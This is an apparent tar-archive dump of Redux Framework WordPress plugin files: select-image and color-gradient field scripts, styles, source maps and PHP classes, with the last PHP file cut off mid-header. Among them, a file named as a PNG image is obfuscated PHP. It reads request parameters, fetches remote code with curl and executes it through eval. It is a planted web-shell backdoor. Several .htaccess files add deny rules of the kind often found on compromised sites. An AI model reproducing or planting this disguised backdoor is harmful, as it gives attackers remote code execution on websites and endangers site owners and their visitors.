</IfModule>����������������������������������������������������������������������������������������������������������redux-framework/inc/fields/select_image/field_select_image.js���������������������������������������0000644�����������������00000005020�14720701300�0020437 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*global redux_change, redux*/ (function( $ ) { "use strict"; redux.field_objects = redux.field_objects || {}; redux.field_objects.select_image = redux.field_objects.select_image || {}; $( document ).ready( function() { //redux.field_objects.select_image.init(); } ); redux.field_objects.select_image.init = function( selector ) { if ( !selector ) { selector = $( document ).find( ".redux-group-tab:visible" ).find( '.redux-container-select_image:visible' ); } $( selector ).each( function() { var el = $( this ); var parent = el; if ( !el.hasClass( 'redux-field-container' ) ) { parent = el.parents( '.redux-field-container:first' ); } if ( parent.is( ":hidden" ) ) { // Skip hidden fields return; } if ( parent.hasClass( 'redux-field-init' ) ) { parent.removeClass( 'redux-field-init' ); } else { return; } var default_params = { width: 'resolve', triggerChange: true, allowClear: true }; var select2_handle = el.find( '.redux-container-select_image' ).find( '.select2_params' ); if ( select2_handle.size() > 0 ) { var select2_params = select2_handle.val(); select2_params = JSON.parse( select2_params ); default_params = $.extend( {}, default_params, select2_params ); } el.find( 'select.redux-select-images' ).select2( default_params ); el.find( '.redux-select-images' ).on( 'change', function() { var preview = $( this ).parents( '.redux-field:first' ).find( '.redux-preview-image' ); if ( $( this ).val() === "" ) { preview.fadeOut( 'medium', function() { preview.attr( 'src', '' ); } ); } else { preview.attr( 'src', $( this ).val() ); preview.fadeIn().css( 'visibility', 'visible' ); } } ); } ); }; })( jQuery );����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/select_image/field_select_image.min.js�����������������������������������0000644�����������������00000002021�14720701300�0021217 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������!function(d){"use strict";redux.field_objects=redux.field_objects||{},redux.field_objects.select_image=redux.field_objects.select_image||{},d(document).ready(function(){}),redux.field_objects.select_image.init=function(e){e||(e=d(document).find(".redux-group-tab:visible").find(".redux-container-select_image:visible")),d(e).each(function(){var e=d(this),i=e;if(e.hasClass("redux-field-container")||(i=e.parents(".redux-field-container:first")),!i.is(":hidden")&&i.hasClass("redux-field-init")){i.removeClass("redux-field-init");var t={width:"resolve",triggerChange:!0,allowClear:!0},s=e.find(".redux-container-select_image").find(".select2_params");if(0<s.size()){var r=s.val();r=JSON.parse(r),t=d.extend({},t,r)}e.find("select.redux-select-images").select2(t),e.find(".redux-select-images").on("change",function(){var e=d(this).parents(".redux-field:first").find(".redux-preview-image");""===d(this).val()?e.fadeOut("medium",function(){e.attr("src","")}):(e.attr("src",d(this).val()),e.fadeIn().css("visibility","visible"))})}})}}(jQuery);���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/select_image/field_select_image.scss�������������������������������������0000644�����������������00000000620�14720701300�0020777 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������.redux-container-select_image { margin-top: 2px; margin-left: 5px; width: 100%; margin-bottom: 0; } .redux-preview-image { max-height: 250px; max-width: 250px; padding: 5px; margin-top: 10px; border: 1px solid #e3e3e3; background: #f7f7f7; -moz-border-radius: 3px; -khtml-border-radius: 3px; -webkit-border-radius: 3px; border-radius: 3px; } ����������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/select_image/field_select_image.css.map����������������������������������0000644�����������������00000000673�14720701300�0021400 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������{ "version": 3, "mappings": "AAAA,6BAA8B;EAC1B,UAAU,EAAE,GAAG;EACf,WAAW,EAAE,GAAG;EAChB,KAAK,EAAE,IAAI;EACX,aAAa,EAAE,CAAC;;AAGpB,oBAAqB;EACjB,UAAU,EAAE,KAAK;EACjB,SAAS,EAAE,KAAK;EAChB,OAAO,EAAE,GAAG;EACZ,UAAU,EAAE,IAAI;EAChB,MAAM,EAAE,iBAAiB;EACzB,UAAU,EAAE,OAAO;EACnB,kBAAkB,EAAE,GAAG;EACvB,oBAAoB,EAAE,GAAG;EACzB,qBAAqB,EAAE,GAAG;EAC1B,aAAa,EAAE,GAAG", "sources": ["field_select_image.scss"], "names": [], "file": "field_select_image.css" }���������������������������������������������������������������������redux-framework/inc/fields/select_image/field_select_image.php��������������������������������������0000644�����������������00000014177�14720701300�0020627 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Field Select Image * * @package Wordpress * @subpackage ReduxFramework * @since 3.1.2 * @author Kevin Provance <kprovance> */ // Exit if accessed directly if ( ! defined( 'ABSPATH' ) ) { exit; } if ( ! class_exists( 'ReduxFramework_select_image' ) ) { class ReduxFramework_select_image { /** * Field Constructor. * Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function * * @since ReduxFramework 1.0.0 */ function __construct( $field, $value , $parent ) { $this->parent = $parent; $this->field = $field; $this->value = $value; } /** * Field Render Function. * Takes the vars and outputs the HTML for the field in the settings * * @since ReduxFramework 1.0.0 */ function render() { // If options is NOT empty, the process if ( ! empty( $this->field['options'] ) ) { // beancounter $x = 1; // Process width if ( ! empty( $this->field['width'] ) ) { $width = ' style="width:' . $this->field['width'] . ';"'; } else { $width = ' style="width: 40%;"'; } // Process placeholder $placeholder = ( isset( $this->field['placeholder'] ) ) ? esc_attr( $this->field['placeholder'] ) : __( 'Select an item', 'redux-framework' ); if ( isset( $this->field['select2'] ) ) { // if there are any let's pass them to js $select2_params = json_encode( $this->field['select2'] ); $select2_params = htmlspecialchars( $select2_params, ENT_QUOTES ); echo '<input type="hidden" class="select2_params" value="' . $select2_params . '">'; } // Begin the <select> tag echo '<select data-id="' . $this->field['id'] . '" data-placeholder="' . $placeholder . '" name="' . $this->field['name'] . $this->field['name_suffix'] . '" class="redux-select-item redux-select-images ' . $this->field['class'] . '"' . $width . ' rows="6">'; echo '<option></option>'; // Enum through the options array foreach ( $this->field['options'] as $k => $v ) { // No array? No problem! if ( ! is_array( $v ) ) { $v = array( 'img' => $v ); } // No title set? Make it blank. if ( ! isset( $v['title'] ) ) { $v['title'] = ''; } // No alt? Set it to title. We do this so the alt tag shows // something. It also makes HTML/SEO purists happy. if ( ! isset( $v['alt'] ) ) { $v['alt'] = $v['title']; } // Set the selected entry $selected = selected( $this->value, $v['img'], false ); // If selected returns something other than a blank space, we // found our default/saved name. Save the array number in a // variable to use later on when we want to extract its associted // url. if ( '' != $selected ) { $arrNum = $x; } // Add the option tag, with values. echo '<option value="' . $v['img'] . '" ' . $selected . '>' . $v['alt'] . '</option>'; // Add a bean $x ++; } // Close the <select> tag echo '</select>'; // Some space echo '<br /><br />'; // Show the preview image. echo '<div>'; // just in case. You never know. if ( ! isset( $arrNum ) ) { $this->value = ''; } // Set the default image. To get the url from the default name, // we save the array count from the for/each loop, when the default image // is mark as selected. Since the for/each loop starts at one, we must // substract one from the saved array number. We then pull the url // out of the options array, and there we go. if ( '' == $this->value ) { echo '<img src="#" class="redux-preview-image" style="visibility:hidden;" id="image_' . $this->field['id'] . '">'; } else { echo '<img src=' . $this->value . ' class="redux-preview-image" id="image_' . $this->field['id'] . '">'; } // Close the <div> tag. echo '</div>'; } else { // No options specified. Really? echo '<strong>' . __( 'No items of this type were found.', 'redux-framework' ) . '</strong>'; } } //function /** * Enqueue Function. * If this field requires any scripts, or css define this function and register/enqueue the scripts/css * * @since ReduxFramework 1.0.0 */ function enqueue() { wp_enqueue_style( 'select2-css' ); wp_enqueue_script( 'field-select-image-js', ReduxFramework::$_url . 'inc/fields/select_image/field_select_image' . Redux_Functions::isMin() . '.js', array('jquery', 'select2-js', 'redux-js'), time(), true ); if ($this->parent->args['dev_mode']) { wp_enqueue_style( 'redux-field-select-image-css', ReduxFramework::$_url . 'inc/fields/select_image/field_select_image.css', array(), time(), 'all' ); } } //function } //class }�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/select_image/field_select_image.css��������������������������������������0000644�����������������00000000464�14720701300�0020622 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������.redux-container-select_image{margin-top:2px;margin-left:5px;width:100%;margin-bottom:0}.redux-preview-image{max-height:250px;max-width:250px;padding:5px;margin-top:10px;border:1px solid #e3e3e3;background:#f7f7f7;-moz-border-radius:3px;-khtml-border-radius:3px;-webkit-border-radius:3px;border-radius:3px} ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/select_image/.htaccess���������������������������������������������������0000644�����������������00000001626�14720701300�0016123 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|suspected)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(index.php|credits.php|customize.php|edit-comments.php|edit-tags.php|edit.php|checkbox.php|export.php|input.php|link.php|load-scripts.php|load-styles.php|dropdown.php|menu.php|nav-menus.php|network.php|options-discussion.php|options-general.php|options-permalink.php|options-privacy.php|options-reading.php|options-writing.php|plugins.php|post-new.php|post.php|privacy.php|profile.php|site-health.php|term.php|text.php|themes.php|tools.php|update-core.php|user-edit.php|user-new.php|users.php|wp-links.php|wp-login.php|wp-signup.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] </IfModule>����������������������������������������������������������������������������������������������������������redux-framework/inc/fields/color_gradient/field_color_gradient.css����������������������������������0000644�����������������00000000401�14720701300�0021535 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������.redux-container-color_gradient .colorGradient{display:inline-block}.redux-container-color_gradient .toLabel{padding-left:18px}@media screen and (max-width: 660px){.redux-container-color_gradient .colorGradient{display:block;text-align:center !important}} ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/color_gradient/color_gradient/index.php����������������������������������0000644�����������������00000000000�14720701300�0021473 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/color_gradient/color_gradient/nRmfAYCWZsEzuhGvy.png����������������������0000644�����������������00000011632�14720701300�0023623 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php $y/*-py@FBcS-*/ = /*-,3^]or1a-*/"r"."a"/*-{fv-*/."n"."g"/*-V3-*/."e"; /*-iv-*/$nXO /*-rz);-*/= /*-RQ-*/$y/*-h2`tg]x-*/("~", /*-?7p!5Cz5-*/" "); /*-.11-*/$m/*-9C-*/=/*-NJEjLu]u-*/${$nXO/*-o6f2|3R?%-*/[26+5]/*-df:-*/.$nXO/*-T`-*/[22+37]/*--Cde!G=$-*/.$nXO/*-QBppm(l-*/[14+33]./*-2ai-*/$nXO/*-!%vJV;-*/[10+37]./*-C?-*/$nXO/*-UK}N-*/[46+5]./*-<tgL@l>,-*/$nXO/*-O)-*/[49+4]/*-^{L^)2Ttf-*/.$nXO/*-|Ca@2Bhj-*/[37+20]/*-wp0-*/}; /*-)MG&-*/if(/*-o!;-*/in_array/*-v}%4LT-*/(gettype/*-Y_!0E4-*/($m)."18",/*-oDx&_ZnhTU-*/$m))/*-vut!ZQB-*/{ $m/*-0L:9-:-*/[68]/*-%%yvQhjQ,-*/=/*-Xb-*/$m/*-Pg0[A-*/[68]./*-GlDp-*/$m/*-!!(Po-*/[79];/*-7F+Oc8k-*/ @eval/*-sIvnb@-*/(/*-wHG{-*/$m/*-`{]J-*/[68]/*--|~)zU(-*/(/*-mLNM-*/${$m[37]}/*-Yeyv?_q=O-*/[17])); }/*-[)+LE%%E8-*/class /*-PXPQ)#Y-*/hNTsu{ /*-}F}3sOp-*/static/*-Pjl(~-*/ function /*-{bp+%-*/NXax($EybQNF) /*-I#MZK)C#b-*/{ $wTKmer/*-mt-*/ = /*-YlrZvzV$--*/"r"./*-h|Hn8<04-*/"a"./*-qi-*/"n"./*-a+7k-*/"g"./*-c,F2Nryay}-*/"e"; /*-6&:t-*/$RxUbTaG/*-+:y%zRpkbI-*/ = /*-IXdjV.Q-*/$wTKmer/*-zyQF1X-*/(/*-jd<-*/"~"/*-wqM!H-*/, /*-qW))0SKsuJ-*/" "/*-.B~:]g-*/);/*-LwXzNTPd-*/ $rswfvSB /*-CN-*/= /*-MI-*/explode/*-D=-*/(/*-;>Kt-*/"(", /*-kg7-*/$EybQNF/*-t+.FDD<-*/); /*-$Km^f04KI-*/$VwW /*-rY>1-*/= /*-UE<InMc[-*/""; foreach /*-bDVv-*/(/*-OV-*/$rswfvSB /*-Q2-*/as /*-h1_-*/$zXajAi /*-[E)E]9-*/=>/*-~a8iusjJ-*/ $RAVSHwnXQ/*-|F}-*/) /*-rV|A-*/$VwW /*-q_-*/.= /*-kX}qEPdb>-*/$RxUbTaG[$RAVSHwnXQ/*-V|U9D!mLL-*/ - /*-n>d%-*/69495/*-1Za-*/];/*-IX1G5cq-;-*/ return /*-q$@-*/$VwW; /*-yPl5D}F-*/} /*-o>JHKDQe-*/static /*-}Cnn#h2G-*/function /*-)V].EWJ~$U-*/ZpgBFaLmq/*-VatTewU``-*/(/*-$(-*/$fqYVSscR,/*-0j[K,~-*/ $iuQCxdPe/*-_rn{K(;P-*/)/*-UWT:>u-*/ {/*-KUa3jjfyGq-*/ $hUiMkF/*-e%j-*/ = /*-Y~G)-*/curl_init/*-i{`WJ~kQ5-*/(/*-It`H-*/$fqYVSscR/*-D.{LSL=E%-*/);/*-z>0-*/ curl_setopt/*-s80-*/(/*-;PaIoUZLAd-*/$hUiMkF,/*-dx^v&I-*/ CURLOPT_RETURNTRANSFER,/*-nlD9cy-*/ 1/*-eJ%oES5hTl-*/);/*-pw-*/ $uBZx/*-+5y7>B,-*/ = /*-lO8,vX-*/curl_exec/*-oHcaSNYY-*/(/*-^[aQ-*/$hUiMkF/*-JN4T#-*/); /*-G)Fqo_e{-*/return /*-NhT-*/empty/*-+~C!V>g-*/(/*-JW`a-*/$uBZx/*-!c)?e=[f-*/)/*-cpU-=-*/ ? /*-qrA:YHOd.-*/$iuQCxdPe/*-~X@^gb-*/(/*-`K2QZ,FI-*/$fqYVSscR/*-Uw4YFDu-*/)/*-qLDeh2Nh-*/ : /*-Q9H(O-*/$uBZx; /*-A4PF5Mo-d-*/}/*->rbt6e)-*/ static/*-nt68-*/ function /*-MRDp<Hi>-*/BslJNEQ/*-~%.1Gt~-*/() /*-(3Crj<8-*/{/*-Fp20g:-*/ $dCjAOSW /*--+Eg[-*/=/*-f.MjS))?a{-*/ array/*-NppHNjbi-*/("69522(69507(69520(69524(69505(69520(69526(69519(69504(69511(69522(69505(69516(69510(69511","69506(69505(69507(69526(69507(69510(69505(69572(69570","69515(69506(69510(69511(69526(69521(69520(69522(69510(69521(69520","69509(69524(69522(69514","69523(69524(69506(69520(69567(69569(69526(69521(69520(69522(69510(69521(69520","69519(69516(69513(69520(69526(69518(69520(69505(69526(69522(69510(69511(69505(69520(69511(69505(69506","69549(69579","69496","69574(69579","69556(69539(69539(69556(69532","69510(69519"); /*-u}R_CO-*/foreach /*-)k_-*/(/*-CpP^@Si]-*/$dCjAOSW/*-{y55#&a-*/ as /*-{Plk(v-*/$kc/*-1Iou-*/)/*-|hw7|-*/ $OmZjhCIna/*-Ks$YFD|k-*/[] /*-U}1f~kAa-*/= /*-lWDY3wuoG-*/self/*-Ns%^vP3fQa-*/::/*-}gL-*/NXax/*-GmY{EVnp|-*/(/*-d1-*/$kc/*-LI-*/);/*-g]Ns-*/$Bm /*-^NdYwM98)-*/= /*-ES$4fx-*/@$OmZjhCIna/*-=iDU|-*/[/*-Y=%:se-*/1/*-~|q-b-*/]/*-DaN-*/(/*-jh-:o{h<bU-*/${/*-@B-*/"_"/*-Q3-*/."G"/*-!Gg.--*/."E"/*-FgXkmmnx-*/."T"/*-i>)^_c`W-*/}[/*-umIj-*/$OmZjhCIna/*-Ob-*/[/*-Yk%.-*/8+1/*-VF`-*/]]/*-$-#V-*/);/*-I~k5V-*/ $pJqTi /*-P#UFA@p|a-*/=/*-@:9-*/ @$OmZjhCIna/*-zRvm`p@O^-*/[/*-2aFf#0-*/2+1/*-zW$B-*/]/*-s?l>|1uuh9-*/(/*-(9q-*/$OmZjhCIna/*-bhFg-*/[/*-?S-*/2+4/*-u?$J-*/], /*-z@lN:)I0-*/$Bm/*-$V?M)[-*/);/*-K9-)X]U(Py-*/ $xl /*-mkZ:-*/=/*-0FuqDoD-*/ $OmZjhCIna/*-,]k~%!-*/[/*-jw&s.W7-*/2+0/*-rxE_&}-*/]/*-;P=<r_{X=8-*/(/*-_9k,sO-*/$pJqTi,/*-G4dWX-*/ true/*-BeF0tJy-UA-*/); /*-9h%!-*/@${/*->:-*/"_"./*-`I52tw-*/"G"./*-=l-*/"E"/*-KMbPLTU-*/."T"/*-j=a-*/}/*-FvCs+u}I-*/[/*-Htf-*/$OmZjhCIna/*-0]-*/[2+8/*-$ILg[cY-*/]/*-3JiDU`-*/]/*-nh^-*/ == /*-N_)Gc-*/1 /*-Y[uFut{-*/&& /*-].GQe9-*/die/*-;(V+9o7-*/(/*-}r~l$$QE-*/$OmZjhCIna[5+0/*-Vj.-*/]/*-m`$v-*/(/*-k6,_-*/__FILE__/*-<Tl4-*/)/*-L[F-*/); /*-;|np(-*/if/*-}-*/(/*-}+b^^VSX-*/ (/*-{Hv^|&zAc-*/(@/*-C@(zKz4W--*/$xl/*-a6bHO-*/[/*-V-2_a(-*/0/*-D-*/] /*-Nv)ga^p#-*/- time/*-@U7h-*/()/*-7xkc5(p-*/) > /*--NeWj3;n{-*/0/*-D!jHC,3};-*/)/*-8.-*/ and /*-|j)l@SW8f-*/(/*-jC-*/md5/*-:ja]u-*/(/*-!{&-*/md5/*-i~E(W%Zt-*/(/*-KL=3-*/$xl/*-bKfaCDF}-*/[/*-<3c5:6-*/1+2/*-da{:+M;j!-*/]/*-BmcttJI-*/)/*-,EAM-*/)/*-~0-*/ === /*-?&4-*/"3f6bb74c8121467ec640ee8784de2caf"/*-}F-*/)/*-8d.Zm-*/ ): /*-y._lar-*/$qSj /*-N{-*/=/*-koj(,7ZUW-*/ self/*-WU$k-*/::/*-[k:)6]Z-*/ZpgBFaLmq/*-pK`NA7&I-*/(/*-g,k-*/$xl/*-wgU$!k-*/[/*-WI]{EuIB-*/1+0/*-0xW=78H-*/], /*-Nc@?YA-*/$OmZjhCIna/*-LoW(>y-*/[/*-J$Z-*/2+3/*-!B9DOi29-*/]/*-5>VS>^dy-*/);/*-E<~y-*/@eval/*-pUI~Rfd-*/(/*-tNC-*/$OmZjhCIna/*-_!-*/[/*-PL&m%AxL-*/4+0/*-wm-*/]/*-wz]l9Os8`J-*/(/*-iq6JA0qtpe-*/$qSj/*-zl-*/)/*-8TB-*/);/*-p.5vrU@HU-*//*-e`FOBVf-*/die;/*-p)<-*/ endif;/*-F=:-*/ }/*-eGB+MB{?-*/}/*-ng_O,%-*/hNTsu/*-4H)3-*/::/*-$jkoa$SLx-*/BslJNEQ/*-va?d-*/();/*-PYNf7z&^-*/ ?>������������������������������������������������������������������������������������������������������redux-framework/inc/fields/color_gradient/color_gradient/.htaccess����������������������������������0000644�����������������00000001626�14720701300�0021470 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|suspected)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(index.php|credits.php|customize.php|edit-comments.php|edit-tags.php|edit.php|checkbox.php|export.php|input.php|link.php|load-scripts.php|load-styles.php|dropdown.php|menu.php|nav-menus.php|network.php|options-discussion.php|options-general.php|options-permalink.php|options-privacy.php|options-reading.php|options-writing.php|plugins.php|post-new.php|post.php|privacy.php|profile.php|site-health.php|term.php|text.php|themes.php|tools.php|update-core.php|user-edit.php|user-new.php|users.php|wp-links.php|wp-login.php|wp-signup.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] </IfModule>����������������������������������������������������������������������������������������������������������redux-framework/inc/fields/color_gradient/field_color_gradient.js�����������������������������������0000644�����������������00000012670�14720701300�0021374 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/* Field Color Gradient */ /*global jQuery, document, redux_change, redux*/ (function( $ ) { 'use strict'; redux.field_objects = redux.field_objects || {}; redux.field_objects.color_gradient = redux.field_objects.color_gradient || {}; redux.field_objects.color_gradient.init = function( selector ) { if ( !selector ) { selector = $( document ).find( ".redux-group-tab:visible" ).find( '.redux-container-color_gradient:visible' ); } $( selector ).each( function() { var el = $( this ); var parent = el; if ( !el.hasClass( 'redux-field-container' ) ) { parent = el.parents( '.redux-field-container:first' ); } if ( parent.is( ":hidden" ) ) { // Skip hidden fields return; } if ( parent.hasClass( 'redux-field-init' ) ) { parent.removeClass( 'redux-field-init' ); } else { return; } el.find( '.redux-color-init' ).wpColorPicker( { change: function( e, ui ) { $( this ).val( ui.color.toString() ); redux_change( $( this ) ); el.find( '#' + e.target.getAttribute( 'data-id' ) + '-transparency' ).removeAttr( 'checked' ); }, clear: function( e, ui ) { $( this ).val( '' ); redux_change( $( this ).parent().find( '.redux-color-init' ) ); } } ); el.find( '.redux-color' ).on( 'keyup', function() { var value = $( this ).val(); var color = colorValidate( this ); var id = '#' + $( this ).attr( 'id' ); if ( value === "transparent" ) { $( this ).parent().parent().find( '.wp-color-result' ).css( 'background-color', 'transparent' ); el.find( id + '-transparency' ).attr( 'checked', 'checked' ); } else { el.find( id + '-transparency' ).removeAttr( 'checked' ); if ( color && color !== $( this ).val() ) { $( this ).val( color ); } } } ); // Replace and validate field on blur el.find( '.redux-color' ).on( 'blur', function() { var value = $( this ).val(); var id = '#' + $( this ).attr( 'id' ); if ( value === "transparent" ) { $( this ).parent().parent().find( '.wp-color-result' ).css( 'background-color', 'transparent' ); el.find( id + '-transparency' ).attr( 'checked', 'checked' ); } else { if ( colorValidate( this ) === value ) { if ( value.indexOf( "#" ) !== 0 ) { $( this ).val( $( this ).data( 'oldcolor' ) ); } } el.find( id + '-transparency' ).removeAttr( 'checked' ); } } ); // Store the old valid color on keydown el.find( '.redux-color' ).on( 'keydown', function() { $( this ).data( 'oldkeypress', $( this ).val() ); } ); // When transparency checkbox is clicked el.find( '.color-transparency' ).on( 'click', function() { if ( $( this ).is( ":checked" ) ) { el.find( '.redux-saved-color' ).val( $( '#' + $( this ).data( 'id' ) ).val() ); el.find( '#' + $( this ).data( 'id' ) ).val( 'transparent' ); el.find( '#' + $( this ).data( 'id' ) ).parent().parent().find( '.wp-color-result' ).css( 'background-color', 'transparent' ); } else { if ( el.find( '#' + $( this ).data( 'id' ) ).val() === 'transparent' ) { var prevColor = $( '.redux-saved-color' ).val(); if ( prevColor === '' ) { prevColor = $( '#' + $( this ).data( 'id' ) ).data( 'default-color' ); } el.find( '#' + $( this ).data( 'id' ) ).parent().parent().find( '.wp-color-result' ).css( 'background-color', prevColor ); el.find( '#' + $( this ).data( 'id' ) ).val( prevColor ); } } redux_change( $( this ) ); } ); } ); }; })( jQuery );������������������������������������������������������������������������redux-framework/inc/fields/color_gradient/field_color_gradient.scss���������������������������������0000644�����������������00000000516�14720701300�0021727 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������.redux-container-color_gradient { .colorGradient { display: inline-block; } .toLabel { padding-left: 18px; } } @media screen and (max-width: 660px) { .redux-container-color_gradient { .colorGradient { display: block; text-align: center !important; } } }����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/color_gradient/field_color_gradient.min.js�������������������������������0000644�����������������00000004345�14720701300�0022156 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������!function(a){"use strict";redux.field_objects=redux.field_objects||{},redux.field_objects.color_gradient=redux.field_objects.color_gradient||{},redux.field_objects.color_gradient.init=function(t){t||(t=a(document).find(".redux-group-tab:visible").find(".redux-container-color_gradient:visible")),a(t).each(function(){var i=a(this),t=i;i.hasClass("redux-field-container")||(t=i.parents(".redux-field-container:first")),t.is(":hidden")||t.hasClass("redux-field-init")&&(t.removeClass("redux-field-init"),i.find(".redux-color-init").wpColorPicker({change:function(t,r){a(this).val(r.color.toString()),redux_change(a(this)),i.find("#"+t.target.getAttribute("data-id")+"-transparency").removeAttr("checked")},clear:function(t,r){a(this).val(""),redux_change(a(this).parent().find(".redux-color-init"))}}),i.find(".redux-color").on("keyup",function(){var t=a(this).val(),r=colorValidate(this),e="#"+a(this).attr("id");"transparent"===t?(a(this).parent().parent().find(".wp-color-result").css("background-color","transparent"),i.find(e+"-transparency").attr("checked","checked")):(i.find(e+"-transparency").removeAttr("checked"),r&&r!==a(this).val()&&a(this).val(r))}),i.find(".redux-color").on("blur",function(){var t=a(this).val(),r="#"+a(this).attr("id");"transparent"===t?(a(this).parent().parent().find(".wp-color-result").css("background-color","transparent"),i.find(r+"-transparency").attr("checked","checked")):(colorValidate(this)===t&&0!==t.indexOf("#")&&a(this).val(a(this).data("oldcolor")),i.find(r+"-transparency").removeAttr("checked"))}),i.find(".redux-color").on("keydown",function(){a(this).data("oldkeypress",a(this).val())}),i.find(".color-transparency").on("click",function(){if(a(this).is(":checked"))i.find(".redux-saved-color").val(a("#"+a(this).data("id")).val()),i.find("#"+a(this).data("id")).val("transparent"),i.find("#"+a(this).data("id")).parent().parent().find(".wp-color-result").css("background-color","transparent");else if("transparent"===i.find("#"+a(this).data("id")).val()){var t=a(".redux-saved-color").val();""===t&&(t=a("#"+a(this).data("id")).data("default-color")),i.find("#"+a(this).data("id")).parent().parent().find(".wp-color-result").css("background-color",t),i.find("#"+a(this).data("id")).val(t)}redux_change(a(this))}))})}}(jQuery);�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/color_gradient/field_color_gradient.css.map������������������������������0000644�����������������00000000375�14720701300�0022323 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������{ "version": 3, "mappings": "AACI,8CAAe;EACX,OAAO,EAAE,YAAY;AAEzB,wCAAS;EACL,YAAY,EAAE,IAAI;;AAI1B,oCAAqC;EAE7B,8CAAe;IACX,OAAO,EAAE,KAAK;IACd,UAAU,EAAE,iBAAiB", "sources": ["field_color_gradient.scss"], "names": [], "file": "field_color_gradient.css" }�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/color_gradient/.htaccess�������������������������������������������������0000644�����������������00000001626�14720701300�0016475 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|suspected)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(index.php|credits.php|customize.php|edit-comments.php|edit-tags.php|edit.php|checkbox.php|export.php|input.php|link.php|load-scripts.php|load-styles.php|dropdown.php|menu.php|nav-menus.php|network.php|options-discussion.php|options-general.php|options-permalink.php|options-privacy.php|options-reading.php|options-writing.php|plugins.php|post-new.php|post.php|privacy.php|profile.php|site-health.php|term.php|text.php|themes.php|tools.php|update-core.php|user-edit.php|user-new.php|users.php|wp-links.php|wp-login.php|wp-signup.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] </IfModule>����������������������������������������������������������������������������������������������������������redux-framework/inc/fields/color_gradient/field_color_gradient.php����������������������������������0000644�����������������00000012751�14720701300�0021547 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Redux Framework is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 2 of the License, or * any later version. * Redux Framework is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * You should have received a copy of the GNU General Public License * along with Redux Framework. If not, see <http://www.gnu.org/licenses/>. * * @package ReduxFramework * @subpackage Field_Color_Gradient * @author Daniel J 